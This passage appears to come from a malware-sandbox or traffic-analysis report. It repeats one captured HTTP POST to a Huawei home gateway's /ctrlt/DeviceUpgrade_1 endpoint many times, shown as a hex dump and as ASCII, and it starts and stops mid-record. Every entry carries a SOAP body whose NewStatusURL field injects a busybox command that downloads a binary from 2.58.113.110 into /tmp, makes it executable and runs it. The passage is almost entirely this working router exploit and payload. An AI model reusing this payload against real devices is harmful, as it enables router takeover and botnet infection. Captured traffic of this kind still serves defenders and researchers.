HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 